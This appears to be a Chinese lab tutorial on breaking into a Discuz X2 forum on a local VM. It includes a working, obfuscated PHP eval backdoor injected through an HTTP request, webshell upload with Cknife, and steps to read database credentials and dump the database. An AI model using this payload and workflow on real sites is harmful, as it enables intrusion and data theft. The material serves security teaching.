20分钟攻破DISCUZ论坛并盗取数据库(web安全白帽子)

20分钟攻破DISCUZ论坛并盗取数据库(web安全白帽子)

  • 1 快速搭建discuz论坛
    • 1.1 攻击思路
    • 1.2 快速搭建实验环境
      • 1.2.1,漏洞概述
      • 1.2.2,在centos7虚拟机上搭建LAMP环境
      • 1.2.3,上传到discuz_X2_SC_UTF8.zip 到Linux系统/root下
      • 1.2.4.浏览器输入http://192.168.0.101安装配置discuz论坛
  • 2 使用kali下burpsuite对discuz后台注入PHP木马
  • 3 使用Cknife “菜刀”上传webshell木马到网站
    • 3.1 在kali上配置java环境
    • 3.2 使用菜刀连接discuz论坛上面的PHP后门程序
    • 3.3 上传功能更强大的木马文件webshell2.php
    • 3.4 任意机器访问我们的webshell2.php木马文件
  • 4 使用webshell查看mysql数据库密码并盗取数据库
  • 总结

1 快速搭建discuz论坛

1.1 攻击思路

想要拿下一台主机A的权限:
(1)了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
(2)拿到对A有一定权限的身份。如果对方是一个web服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
(3)传上去后,得到Apache用户普通权限,再提权成root

1.2 快速搭建实验环境

搭建一个LAMP环境。部署带有漏洞的discuz论坛

1.2.1,漏洞概述

这漏洞出现在一个DZX系列自带的转换工具里面
漏洞路径:utility/convert/data/config.inc.php
漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无任何过滤检测,所以黑客可以通过post方式往config.inc.php中写木马程序。(所有做开发的东西从外网上获取数据时,不知此数据是否危险都要做过滤,但很多网站开发人员不知道做这一步过滤)

触发漏洞的过程:
(1)在浏览器中访问打开http://192.168.1.63/utility/convert/index.php
(2)使用utility/convert/index.php进行版本转换时,会自动创建utility/convert/data/config.inc.php文件(utility 效用)
(3)config.inc.php文件(这个新建的文件)没有做过滤,黑客可以使用post方法对config.inc.php注入木马程序

渗透思路:
burp suite 可以抓包,和wireshark一样,还能改包内的内容

在这里插入图片描述

1.2.2,在centos7虚拟机上搭建LAMP环境

# yum -y install httpd mariadb-server mariadb php php-mysql   #安装LAMP环境

参数:mariadb-server 这是mysql数据库的一个分支
mariadb  就是它的客户端了
php-mysql 是专门用来连接mariadb 的一个工具
#systemctl start httpd				//启动Apache
#systemctl start mariadb			//启动数据库
#mysqladmin	-u root password “电脑密码”	//给数据库配个密码
#mysql -u root -p密码				//登录数据库

1.2.3,上传到discuz_X2_SC_UTF8.zip 到Linux系统/root下

此处使用xshell连接虚拟机,注意使用桥接模式且使用路由器的网

上传之后使用

#rz				//此处使用命令上传(因不含命令,我变使用ftp上传)
[root@localhost ~]# unzip Discuz_X2_SC_UTF8_0628.zip  	//直接解压缩到当前目录下(也有可能未找到该命令,则yum -y install zip unzip来下载此命令)
# ls
//此时解压出很多东西,若搭建网站需要两个,一个upload,一个utility(漏洞就在此目录下),
[root@localhost ~]# mv upload/* /var/www/html/		//将upload下的所有东西放到网站根目录
[root@localhost ~]# mv utility/ /var/www/html/		//将utility(可以理解成一个工具,比如说版本更新等工具,无*)也传到此目录下
[root@localhost ~]# ls /var/www/html/
admin.php  config           data         home.php    misc.php    search.php  uc_client
api        connect.php      favicon.ico  index.php   plugin.php  source      uc_server
api.php    cp.php           forum.php    install     portal.php  static      userapp.php
archiver   crossdomain.xml  group.php    member.php  robots.txt  template    utility
[root@localhost ~]# cd /var/www/html/
[root@localhost html]# ll				//进入可查看这些文件的权限,要将其拥有者权限root修改,若不修改,别人是无法上传文件的(如修改自己图像),凭什么能上传自己的头像,因为上传时使用的是Apache的身份,我们的进程就是以Apache进行的(ps -axu | grep apache)
[root@localhost html]# chown -R apache:apache uc_server/ data/ config/ uc_client/
//修改权限
[root@localhost html]# chown -R apache:apache utility/convert/data/
//还需要修改data的权限(专门存数据的,临时数据)
[root@localhost html]# iptables -F
//清空防火墙,不然80端口出不来
[root@localhost html]#	setenforce 0
//确保setlinux关闭,可以用setenforce 0命令执行。 默认的,SELinux禁止网络上对Samba服务器上的共享目录进行写操作,即使你在smb.conf中允许了这项操作。

1.2.4.浏览器输入http://192.168.0.101安装配置discuz论坛

安装成功后刷新一下,或重新进入此IP就出界面了
此网站在内网,放到外网其他人就可以访问了

2 使用kali下burpsuite对discuz后台注入PHP木马

使用kali自带的火狐浏览器访问百度看其能否正常上网,接着在访问网站IP之前,打开burpsuit(是一个抓包工具,抓的是http协议)

(1)在火狐浏览器中要设计一个代理,即在右侧点击preferences属性,拉倒最下方打开setting,选择手动manul proxy configuration

(2)抓包,burpsuit默认启动后,打开proxy选项,点击“intercept is on”,变为“intercept is off”,因为我们要先访问我们的论坛,先关闭拦截,若是所有数据都被拦截了就无法调数据了,所以只拦截最后的请求,拦截最需要的东西。

(3)浏览器进行操作抓包,在kali上,打开注入漏洞的地方:http://192.168.0.106/utility/convert/
这是discuz产品升级的漏洞,随便点击一个页面,点开始弹出向导

注意:在点击开始时会产生问题,所以点击之前,因为走的代理,所以请求会转给这个代理,所以此处要开启抓包点击intercept is on,此时就开始拦截了,这样当前浏览器所有的http请求都会被拦截,点击开始,网页不停刷新是因为没有接到请求
如果之前抓到了别的数据包,需要先点击forward,把之前的http请求都放行了,然后再访问我们需要访问的连接(看地址就能看到)。

在burpsuit就会出现下方消息,就能get下方消息(凡是可以get的地方,就要尝试着去注入一句话木马)
GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1

Host: 192.168.0.106

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.0.106/utility/convert/

Connection: close

Upgrade-Insecure-Requests: 1

此时已经抓取到了http请求接下来要注入木马,怎么注入是不能在此直接修改的需要右击空白处(sent to repeater请求转给中继器),这样整个的数据包就拦截下来了,就可以修改了
接着点击repeater选项,修改request信息,将get请求改为post,因为这个包在自己手里,想怎么改就怎么改。改为下方
修改第一行:
GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1
为:注意POST后面没有回车键,这里是文本显示自动换行了。
POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes HTTP/1.1
注:这是一个PHP一句话木马加密后的内容。翻译后的内容:
&newconfig[aaa%0a%0d eval(‘$_POAT[c];’);//]=aaaa&submit=yes
注:%0a%0d 阿斯克码的回车换行
再转换
POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0d eval(‘$_POAT[c];’);//]


扩展eval()函数:
Eval函数中的eval是evaluate的简称,这个函数的作用就是把一段字符当做PHP语句来执行,一般情况下不建议使用容易被黑客利用。
Eval(‘echo’hello worrld’;’)等同于(PHP直接执行)下边的代码:
Echo ‘hello world’;在浏览器中输出:hello world

接着点击go(send),返回200k成功,现在已经注入成功,要看木马在哪,打开Linux服务器
下面在Linux中查看注入的木马所在地
[root@localhost ~]# cd /var/www/html/utility/convert/data/
[root@localhost data]# ls
config.default.php  config.inc.php
[root@localhost data]# ll
总用量 8
-rw-r--r--. 1 apache apache  935 6月  27 2012 config.default.php
-rw-r--r--. 1 apache apache 1481 11月 15 14:53 config.inc.php
[root@localhost data]# vi config.inc.php 

注意注入的木马是免杀的,一般情况下过滤不出来,一般过滤的是eval这个函数
在这个配置文件中有很多的^M符号
扩展:^M符号

^M字符的来历和作用:在DOS/windows里,文本文件的换行符为\r\n,而在Linux系统里则为\n,所以DOS/windows里编辑过的文本文件到了Linux里,每一行都多了个^M。所以^M只是个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除
%0a%0d 等于\r\n

那么这个一句话木马怎么用(会使用菜刀来用它)

3 使用Cknife “菜刀”上传webshell木马到网站

3.1 在kali上配置java环境

搭建java环境(我们是基于java开发的)

[root@localhost ~]# yum install -y java
//注意我们现在是在此服务器上直接安装中国菜刀的,并不是在kali上安装的
很多人高渗透用的菜刀是windows下的,建议使用Linux下的会更安全一些
自动安装的是openjdk开源的

查看java版本
[root@localhost ~]# java -version
openjdk version "1.8.0_232"
OpenJDK Runtime Environment (build 1.8.0_232-b09)
OpenJDK 64-Bit Server VM (build 25.232-b09, mixed mode)

3.2 使用菜刀连接discuz论坛上面的PHP后门程序

接着上传菜刀(cknife.jar)使用ftp即可直接上传到根目录
注意:jar包的获取可看此文章https://www.cnblogs.com/ownhp/p/9094896.html
注意从Github上下载下来的cknife-master需要在myeclipse上运行一下其配置文件才会出现,并且此项目是运行在jdk1.7版本的,所以选好运行环境后,再运行一下,接着导出成可运行的jar包运行在Linux上

[root@localhost ~]# ls
anaconda-ks.cfg  CKnife.jar  Discuz_X2_SC_UTF8_0628.zip  readme  upload  ╦╡├ў.htm

传完东西后运行一下中国菜刀
[root@localhost ~]# java -jar Cknife.jar 

接着会出来一个界面,就能右击添加,如果打开程序后,看到是乱码的,我们更换一下皮肤科解决乱码问题
右击添加,会出现添加shell,选择连接即可,地址172.20.10.10/utility/convert/data/config.inc.php,密码就是前面注入程序的‘c’,
脚本类型选择PHP,字符编码选择GB2313,接着点击添加就行了
之后就行了吗,双击出现的地址,看到了什么,看到了所有的文件,接着我们还是在data文件下上传webshell2.php木马,为什么要上传大马,因为这个功能是非常强大的。小马(一句话木马)功能单一只有上传下载功能,而大马功能强大,是可以用任意机器访问此webshell了。

3.3 上传功能更强大的木马文件webshell2.php

注:这里需要上传到Apache用户有写权限的目录中,因为安装过程中discuz需要管理员修改部分权限为Apache用户,所以必然有可以上传文件的目录,我们可以直接上传到data(此目录下是有Apache权限的)目录下。
https://blog.csdn.net/weixin_45178890/article/details/98121719
此链接上有大小马程序,通过之前的一句话木马来上传此大马程序,可以试试。大马程序已改成“招财猫”。
在菜刀的界面上右击上传我们的大马程序。这就上传到data文件下了。

3.4 任意机器访问我们的webshell2.php木马文件

172.20.10.10/utility/convert/data/da.php 在浏览器输入此地址后,接着会要求输入密码这个选项,输入密码之后就能在网站登录别人的后台了,登上后可以管理任何文件

4 使用webshell查看mysql数据库密码并盗取数据库

  第四步骤已经链接上了,第五个步骤要用webshell盗取mysql的数据库了,有思路没,首先要知道数据库密码,在网站的根目录下都有一个config(/var/www/html/config)这样的目录,在这目录下有个config_global.php,所有网站都要连接数据库,既然连接数据库那么就有一个配置文件存着mysql的账号和密码。编辑此文件config_global.php,无论是java,python,PHP都有这样的文件,我们明确看到了此文件内的数据库账号和密码,看到很清楚,这样就能连上数据库就能很清楚的看到我们想要的数据了。登录数据库用密码,选择自己想要看到数据库,例如ultrax我们的discuz论坛就在此库中,在这有很多很多的,接着就是脱库(将数据库导出来),可以选择所有的数据库将其导出来,可以选择某个表导出(就是下载到本地)。这个导出功能在视频中有,现在这个大马应该是没有。
  有同学说能不能给提个权注个木马,可以现在的大马就能提权。
  到此结束了,我们可以使用Apache用户进行提权操作。然后我们就有了root权限了。因为大家还不会向里埋后门。

总结

1 快速搭建discuz论坛
2 使用kali下burpsuite对discuz后台注入PHP木马
3 使用cknife “菜刀” 上传webshell 木马到网站
4 使用webshell查看mysql数据库密码并盗取数据库

第一个先搭好论坛,搭好论坛后不是想向论坛注入数据吗,如果正常通过浏览器访问是永远也干不了坏事的,此时需要找个人篡改一下包,所以我的浏览器才需要代理上网,浏览器使用代理上网,所有的数据都交给了代理,那么代理抓到所有的数据后可以篡改你的数据,篡改数据后再将数据进行注入,注入完了后通过菜刀连接上去,连接上去后可以上传很多文件,就上传webshell,可以非常方便的看到数据库密码,看到密码后下载数据库是非常轻松的事。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/733011.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

JAVA大型医院绩效考核系统源码:​医院绩效考核实施的难点痛点

JAVA大型医院绩效考核系统源码:​医院绩效考核实施的难点痛点 绩效考核数字化综合管理系统是一个基于数字化技术的管理平台,用于帮助企业、机构等组织进行绩效考评的各个环节的管理和处理。它将绩效考评的各个环节集成到一个系统中,包括目标…

RTA_OS基础功能讲解 2.10-调度表

RTA_OS基础功能讲解 2.10-调度表 文章目录 RTA_OS基础功能讲解 2.10-调度表一、调度表简介二、调度表配置2.1 同步三、到期点配置四、启动调度表4.1 绝对启动4.2 相对启动4.3 同步启动五、到期点处理六、停止调度表6.1 重新启动被停止的调度表七、切换调度表八、选择同步策略8.…

【C语言】解决C语言报错:Array Index Out of Bounds

文章目录 简介什么是Array Index Out of BoundsArray Index Out of Bounds的常见原因如何检测和调试Array Index Out of Bounds解决Array Index Out of Bounds的最佳实践详细实例解析示例1:访问负索引示例2:访问超出上限的索引示例3:循环边界…

一颗B+树可以存储多少数据?

一、前言 这个问题,非常经典,考察的点很多: 比如: 1、操作系统存储的单元,毕竟mysql也是运行在操作系统之上的应用。 2、B树是针对Mysql的InnoDB存储引擎,所以要理解InnoDb的最小存储单元,页&…

【Arduino】实验使用ESP32单片机根据光线变化控制LED小灯开关(图文)

今天小飞鱼继续来实验ESP32的开发,这里使用关敏电阻来配合ESP32做一个我们平常接触比较多的根据光线变化开关灯的实验。当白天时有太阳光,则把小灯关闭;当光线不好或者黑天时,自动打开小灯。 int value;void setup() {pinMode(34…

java基于ssm+jsp 美食推荐管理系统

1前台首页功能模块 美食推荐管理系统,在系统首页可以查看首页、热门美食、美食教程、美食店铺、美食社区、美食资讯、我的、跳转到后台等内容,如图1所示。 图1前台首页功能界面图 用户注册,在注册页面可以填写用户名、密码、姓名、联系电话等…

什么是 vCPU?有什么作用

vCPU 是物理 CPU 的虚拟化版本,是云计算的基本组成部分。这些虚拟化计算单元的一大优势是其良好的可扩展性,这也是它们在云托管中发挥重要作用的原因。 vCPU 有什么作用? vCPU(虚拟中央处理器)是物理CPU的虚拟化变体。换句话说,vCPU 是虚拟机…

ctfshow 2023 愚人杯 web

easy_signin 观察url&#xff0c;发现base64 &#xff0c;进行解码&#xff0c;原来可以访问文件路径&#xff0c;那我们访问一下index.php ?imgaW5kZXgucGhw查看源代码发现还是base64 解码得到flag 被遗忘的反序列化 <?php# 当前目录中有一个txt文件哦 error_reporti…

计算机视觉 | 基于图像处理和边缘检测算法的黄豆计数实验

目录 一、实验原理二、实验步骤1. 图像读取与预处理2. 边缘检测3. 轮廓检测4. 标记轮廓序号 三、实验结果 Hi&#xff0c;大家好&#xff0c;我是半亩花海。 本实验旨在利用 Python 和 OpenCV 库&#xff0c;通过图像处理和边缘检测算法实现黄豆图像的自动识别和计数&#xff0…

MarkDown基础

一、MarkDown标题 1.使用和-表示一级标题 2.使用#、##、###、####、######、######表示一级至六级标题 一级标题 二级标题 一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 二、MarkDown标题 1.Markdown 段落没有特殊的格式&#xff0c;直接编写文字就好&#xff0c;…

适耳贴合的气传导耳机,带来智能生活体验,塞那Z50耳夹耳机上手

现在大家几乎每天都会用到各种AI产品&#xff0c;蓝牙耳机也是我们必不可少的装备&#xff0c;最近我发现一款很好用的分体式气传导蓝牙耳机&#xff0c;它还带有一个具备AI功能的APP端&#xff0c;大大方便了我们日常的使用。这款sanag塞那Z50耳夹耳机我用过一段时间以后&…

共93本!全网最全Frontiers旗下期刊2022、2023版影响因子和分区对比完整版目录!

本周投稿推荐 SSCI • 1区&#xff0c;4.0-5.0&#xff08;无需返修&#xff0c;提交可录&#xff09; EI • 各领域沾边均可&#xff08;2天录用&#xff09; CNKI • 7天录用-检索&#xff08;急录友好&#xff09; SCI&EI • 4区生物医学类&#xff0c;0.1-0.5&…

postman测试接口使用

背景&#xff1a; 隔了一段时间没有用postman&#xff0c;有些忘记了&#xff0c;谨以此文来记录postman的使用&#xff0c;如有忘记就可以快速回忆 使用&#xff1a; 点击这个号&#xff0c;是创建接口页面 这里的复选框可供我们选择接口的rest方式 请求路径&#xff1a; …

qt 简单实验 一个可以向左侧拖拽缩放的矩形

1.概要 向左拖拽矩形&#xff0c;和向右拖拽不同&#xff0c;向右拖拽是增加宽度&#xff0c;向左拖拽是增加宽度的同时还要向左移动x的坐标。 2.代码 2.1 resizablerectangleleft.h #ifndef RESIZABLERECTANGLELEFT_H #define RESIZABLERECTANGLELEFT_H #include <QWid…

java基于ssm+jsp 母婴用品网站

1管理员功能模块 管理员登录&#xff0c;管理员通过输入用户名、密码等信息进行系统登录&#xff0c;如图1所示。 图1管理员登录界面图 管理员登录进入母婴用品网站可以查看主页、个人中心、用户管理、商品分类管理、商品信息管理、留言板管理、成长交流、系统管理、订单管理、…

Desoutter智能拧紧中枢Connect过压维修

马头智能拧紧中枢过压维修是马头拧紧设备维护中的重要环节。当出现马头拧紧设备中枢过压现象时&#xff0c;会导致设备性能下降&#xff0c;甚至损坏设备&#xff0c;因此及时对过压中枢进行维修是保障设备正常运转的关键。 Desoutter电动螺丝刀控制器过压的原因可能有很多&am…

AUCell和AddModuleScore函数进行基因集评分

AUCell 和AddModuleScore 分析是两种主流的用于单细胞RNA测序数据的基因集活性分析的方法。这些基因集可以来自文献、数据库或者根据具体研究问题进行自行定义。 AUCell分析原理&#xff1a; 1、AUCell分析可以将细胞中的所有基因按表达量进行排序&#xff0c;生成一个基因排…

Boosting Weakly-Supervised Temporal Action Localization with Text Information

标题&#xff1a;利用文本信息增强弱监督时间动作定位 源文链接&#xff1a;https://openaccess.thecvf.com/content/CVPR2023/papers/Li_Boosting_Weakly-Supervised_Temporal_Action_Localization_With_Text_Information_CVPR_2023_paper.pdfhttps://openaccess.thecvf.com/…

计算机系统基础实训五—CacheLab实验

实验目的与要求 1、让学生更好地应用程序性能的优化方法&#xff1b; 2、让学生更好地理解存储器层次结构在程序运行过程中所起的重要作用&#xff1b; 3、让学生更好地理解高速缓存对程序性能的影响&#xff1b; 实验原理与内容 本实验将帮助您了解缓存对C程序性能的影响…

Node.js 渲染三维模型并导出为图片

Node.js 渲染三维模型并导出为图片 1. 前言 本文将介绍如何在 Node.js 中使用 Three.js 进行 3D 模型渲染。通过结合 gl 和 canvas 这两个主要依赖库&#xff0c;我们能够在服务器端实现高效的 3D 渲染。这个方法解决了在服务器端生成和处理 3D 图形的需求&#xff0c;使得可…